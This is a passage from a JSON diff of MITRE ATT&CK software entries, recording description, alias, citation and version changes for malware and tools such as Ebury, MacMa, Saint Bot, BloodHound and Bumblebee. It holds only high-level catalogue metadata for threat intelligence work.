"x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-20 21:15:51.302000+00:00\", \"old_value\": \"2021-04-23 22:56:14.591000+00:00\"}, \"root['description']\": {\"new_value\": \"[Ebury](https://attack.mitre.org/software/S0377) is an OpenSSH backdoor and credential stealer targeting Linux servers and container hosts developed by [Windigo](https://attack.mitre.org/groups/G0124). [Ebury](https://attack.mitre.org/software/S0377) is primarily installed through modifying shared libraries (`.so` files) executed by the legitimate OpenSSH program. First seen in 2009, [Ebury](https://attack.mitre.org/software/S0377) has been used to maintain a botnet of servers, deploy additional malware, and steal cryptocurrency wallets, credentials, and credit card details.(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)(Citation: ESET Ebury May 2024)\", \"old_value\": \"[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"ESET Ebury May 2024\", \"description\": \"Marc-Etienne M.L\\u00e9veill\\u00e9. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.\", \"url\": \"https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Ebury](https://attack.mitre.org/software/S0377) is an SSH bt1[Ebury](https://attack.mitre.org/software/S0377) is an OpenS
>ackdoor targeting Linux operating systems. Attackers require>SH backdoor and credential stealer targeting Linux servers a
> root-level access, which allows them to replace SSH binarie>nd container hosts developed by [Windigo](https://attack.mit
>s (ssh, sshd, ssh-add, etc) or modify a shared library used >re.org/groups/G0124). [Ebury](https://attack.mitre.org/softw
>by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Cit>are/S0377) is primarily installed through modifying shared l
>ation: BleepingComputer Ebury March 2017)(Citation: ESET Ebu>ibraries (`.so` files) executed by the legitimate OpenSSH pr
>ry Oct 2017)>ogram. First seen in 2009, [Ebury](https://attack.mitre.org/
 >software/S0377) has been used to maintain a botnet of server
 >s, deploy additional malware, and steal cryptocurrency walle
 >ts, credentials, and credit card details.(Citation: ESET Ebu
 >ry Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Ci
 >tation: ESET Ebury Oct 2017)(Citation: ESET Ebury May 2024)
" + }, + { + "type": "malware", + "id": "malware--bdee9574-7479-4073-a7dc-e86d8acd073a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-06 01:29:34.860000+00:00", + "modified": "2024-07-26 17:48:10.580000+00:00", + "name": "MacMa", + "description": "[MacMa](https://attack.mitre.org/software/S1016) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. [MacMa](https://attack.mitre.org/software/S1016) has been observed in the wild since November 2021.(Citation: ESET DazzleSpy Jan 2022) [MacMa](https://attack.mitre.org/software/S1016) shares command and control and unique libraries with [MgBot](https://attack.mitre.org/software/S1146) and [Nightdoor](https://attack.mitre.org/software/S1147), indicating a relationship with the [Daggerfly](https://attack.mitre.org/groups/G1034) threat actor.(Citation: Symantec Daggerfly 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1016", + "external_id": "S1016" + }, + { + "source_name": "DazzleSpy", + "description": "(Citation: ESET DazzleSpy Jan 2022)" + }, + { + "source_name": "OSX.CDDS", + "description": "(Citation: Objective-See MacMa Nov 2021)" + }, + { + "source_name": "ESET DazzleSpy Jan 2022", + "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.", + "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/" + }, + { + "source_name": "Symantec Daggerfly 2024", + "description": "Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.", + "url": "https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset" + }, + { + "source_name": "Objective-See MacMa Nov 2021", + "description": "Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.", + "url": "https://objective-see.org/blog/blog_0x69.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MacMa", + "OSX.CDDS", + "DazzleSpy" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Pooja Natarajan, NEC Corporation India", + "Hiroki Nagahama, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-07-26 17:48:10.580000+00:00\", \"old_value\": \"2022-10-24 18:52:29.002000+00:00\"}, \"root['description']\": {\"new_value\": \"[MacMa](https://attack.mitre.org/software/S1016) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. [MacMa](https://attack.mitre.org/software/S1016) has been observed in the wild since November 2021.(Citation: ESET DazzleSpy Jan 2022) [MacMa](https://attack.mitre.org/software/S1016) shares command and control and unique libraries with [MgBot](https://attack.mitre.org/software/S1146) and [Nightdoor](https://attack.mitre.org/software/S1147), indicating a relationship with the [Daggerfly](https://attack.mitre.org/groups/G1034) threat actor.(Citation: Symantec Daggerfly 2024)\", \"old_value\": \"[MacMa](https://attack.mitre.org/software/S1016) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. [MacMa](https://attack.mitre.org/software/S1016) has been observed in the wild since November 2021.(Citation: ESET DazzleSpy Jan 2022)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.0.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"Symantec Daggerfly 2024\", \"description\": \"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.\", \"url\": \"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[MacMa](https://attack.mitre.org/software/S1016) is a macOS-t1[MacMa](https://attack.mitre.org/software/S1016) is a macOS-
>based backdoor with a large set of functionalities to contro>based backdoor with a large set of functionalities to contro
>l and exfiltrate files from a compromised computer. [MacMa](>l and exfiltrate files from a compromised computer. [MacMa](
>https://attack.mitre.org/software/S1016) has been observed i>https://attack.mitre.org/software/S1016) has been observed i
>n the wild since November 2021.(Citation: ESET DazzleSpy Jan>n the wild since November 2021.(Citation: ESET DazzleSpy Jan
> 2022)> 2022) [MacMa](https://attack.mitre.org/software/S1016) shar
 >es command and control and unique libraries with [MgBot](htt
 >ps://attack.mitre.org/software/S1146) and [Nightdoor](https:
 >//attack.mitre.org/software/S1147), indicating a relationshi
 >p with the [Daggerfly](https://attack.mitre.org/groups/G1034
 >) threat actor.(Citation: Symantec Daggerfly 2024)
" + }, + { + "type": "malware", + "id": "malware--c113230f-f044-423b-af63-9b63c802f5ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-06-09 16:07:23.821000+00:00", + "modified": "2024-10-08 20:11:00.316000+00:00", + "name": "OutSteel", + "description": "[OutSteel](https://attack.mitre.org/software/S1017) is a file uploader and document stealer developed with the scripting language AutoIT that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1017", + "external_id": "S1017" + }, + { + "source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", + "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.", + "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "OutSteel" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_aliases']\": [\"OutSteel\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-08 20:11:00.316000+00:00\", \"old_value\": \"2022-06-09 18:53:30.145000+00:00\"}, \"root['description']\": {\"new_value\": \"[OutSteel](https://attack.mitre.org/software/S1017) is a file uploader and document stealer developed with the scripting language AutoIT that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )\", \"old_value\": \"[OutSteel](https://attack.mitre.org/software/S1017) is a file uploader and document stealer developed with the scripting language AutoIT that has been used by [Ember Bear](https://attack.mitre.org/groups/G1003) since at least March 2021.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[OutSteel](https://attack.mitre.org/software/S1017) is a filt1[OutSteel](https://attack.mitre.org/software/S1017) is a fil
>e uploader and document stealer developed with the scripting>e uploader and document stealer developed with the scripting
> language AutoIT that has been used by [Ember Bear](https://> language AutoIT that has been used by [Saint Bear](https://
>attack.mitre.org/groups/G1003) since at least March 2021.(Ci>attack.mitre.org/groups/G1031) since at least March 2021.(Ci
>tation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )>tation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )
" + }, + { + "type": "malware", + "id": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-06-09 18:50:58.722000+00:00", + "modified": "2024-10-08 20:10:44.570000+00:00", + "name": "Saint Bot", + "description": "[Saint Bot](https://attack.mitre.org/software/S1018) is a .NET downloader that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1018", + "external_id": "S1018" + }, + { + "source_name": "Malwarebytes Saint Bot April 2021", + "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022.", + "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/" + }, + { + "source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", + "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.", + "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Saint Bot" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_aliases']\": [\"Saint Bot\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-08 20:10:44.570000+00:00\", \"old_value\": \"2022-06-09 19:56:56.809000+00:00\"}, \"root['description']\": {\"new_value\": \"[Saint Bot](https://attack.mitre.org/software/S1018) is a .NET downloader that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )\", \"old_value\": \"[Saint Bot](https://attack.mitre.org/software/S1018) is a .NET downloader that has been used by [Ember Bear](https://attack.mitre.org/groups/G1003) since at least March 2021.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Saint Bot](https://attack.mitre.org/software/S1018) is a .Nt1[Saint Bot](https://attack.mitre.org/software/S1018) is a .N
>ET downloader that has been used by [Ember Bear](https://att>ET downloader that has been used by [Saint Bear](https://att
>ack.mitre.org/groups/G1003) since at least March 2021.(Citat>ack.mitre.org/groups/G1031) since at least March 2021.(Citat
>ion: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto >ion: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto 
>Unit 42 OutSteel SaintBot February 2022 )>Unit 42 OutSteel SaintBot February 2022 )
" + } + ], + "minor_version_changes": [ + { + "type": "malware", + "id": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:47.879000+00:00", + "modified": "2024-05-22 19:06:12.701000+00:00", + "name": "ASPXSpy", + "description": "[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0073", + "external_id": "S0073" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ASPXSpy", + "ASPXTool" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-05-22 19:06:12.701000+00:00\", \"old_value\": \"2022-09-22 20:56:06.265000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "tool", + "id": "tool--f59508a6-3615-47c3-b493-6676e1a39a87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-12-28 18:35:50.244000+00:00", + "modified": "2024-09-25 15:21:53.462000+00:00", + "name": "AdFind", + "description": "[AdFind](https://attack.mitre.org/software/S0552) is a free command-line query tool that can be used for gathering information from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0552", + "external_id": "S0552" + }, + { + "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/" + }, + { + "source_name": "FireEye Ryuk and Trickbot January 2019", + "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "AdFind" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 15:21:53.462000+00:00\", \"old_value\": \"2024-04-04 03:49:04.493000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5" + }, + { + "type": "malware", + "id": "malware--05318127-5962-444b-b900-a9dcfe0ff6e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-07-14 17:30:54.927000+00:00", + "modified": "2024-05-07 19:11:33.669000+00:00", + "name": "Amadey", + "description": "[Amadey](https://attack.mitre.org/software/S1025) is a Trojan bot that has been used since at least October 2018.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1025", + "external_id": "S1025" + }, + { + "source_name": "Korean FSI TA505 2020", + "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.", + "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=" + }, + { + "source_name": "BlackBerry Amadey 2020", + "description": "Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.", + "url": "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Amadey" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-05-07 19:11:33.669000+00:00\", \"old_value\": \"2022-10-14 21:33:47.608000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "tool", + "id": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-28 12:51:29.358000+00:00", + "modified": "2024-09-25 20:33:37.892000+00:00", + "name": "BloodHound", + "description": "[BloodHound](https://attack.mitre.org/software/S0521) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0521", + "external_id": "S0521" + }, + { + "source_name": "FoxIT Wocao December 2019", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", + "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf" + }, + { + "source_name": "CrowdStrike BloodHound April 2018", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.", + "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/" + }, + { + "source_name": "GitHub Bloodhound", + "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.", + "url": "https://github.com/BloodHoundAD/BloodHound" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BloodHound" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:33:37.892000+00:00\", \"old_value\": \"2023-08-09 18:00:13.178000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6" + }, + { + "type": "tool", + "id": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-02-07 20:26:58.792000+00:00", + "modified": "2024-09-19 15:46:58.008000+00:00", + "name": "Brute Ratel C4", + "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. [Brute Ratel C4](https://attack.mitre.org/software/S1063) was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of [Brute Ratel C4](https://attack.mitre.org/software/S1063) was leaked in the cybercriminal underground, leading to its use by threat actors.(Citation: Dark Vortex Brute Ratel C4)(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)(Citation: SANS Brute Ratel October 2022)(Citation: Trend Micro Black Basta October 2022)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1063", + "external_id": "S1063" + }, + { + "source_name": "BRc4", + "description": "(Citation: Palo Alto Brute Ratel July 2022)" + }, + { + "source_name": "MDSec Brute Ratel August 2022", + "description": "Chell, D. PART 3: How I Met Your Beacon \u2013 Brute Ratel. Retrieved February 6, 2023.", + "url": "https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/" + }, + { + "source_name": "Dark Vortex Brute Ratel C4", + "description": "Dark Vortex. (n.d.). A Customized Command and Control Center for Red Team and Adversary Simulation. Retrieved February 7, 2023.", + "url": "https://bruteratel.com/" + }, + { + "source_name": "Palo Alto Brute Ratel July 2022", + "description": "Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.", + "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/" + }, + { + "source_name": "Trend Micro Black Basta October 2022", + "description": "Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.", + "url": "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html" + }, + { + "source_name": "SANS Brute Ratel October 2022", + "description": "Thomas, W. (2022, October 5). Cracked Brute Ratel C4 framework proliferates across the cybercriminal underground. Retrieved February 6, 2023.", + "url": "https://www.sans.org/blog/cracked-brute-ratel-c4-framework-proliferates-across-the-cybercriminal-underground/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Brute Ratel C4", + "BRc4" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Sittikorn Sangrattanapitak", + "Daniel Acevedo, @darmad0, ARMADO" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-19 15:46:58.008000+00:00\", \"old_value\": \"2023-04-17 21:44:03.462000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--04378e79-4387-468a-a8f7-f974b8254e44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-08-19 20:28:36.981000+00:00", + "modified": "2024-09-17 17:58:55.921000+00:00", + "name": "Bumblebee", + "description": "[Bumblebee](https://attack.mitre.org/software/S1039) is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. [Bumblebee](https://attack.mitre.org/software/S1039) has been linked to ransomware operations including [Conti](https://attack.mitre.org/software/S0575), Quantum, and Mountlocker and derived its name from the appearance of \"bumblebee\" in the user-agent.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)\n", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1039", + "external_id": "S1039" + }, + { + "source_name": "Symantec Bumblebee June 2022", + "description": "Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime" + }, + { + "source_name": "Proofpoint Bumblebee April 2022", + "description": "Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming" + }, + { + "source_name": "Google EXOTIC LILY March 2022", + "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.", + "url": "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Bumblebee" + ], + "x_mitre_attack_spec_version": 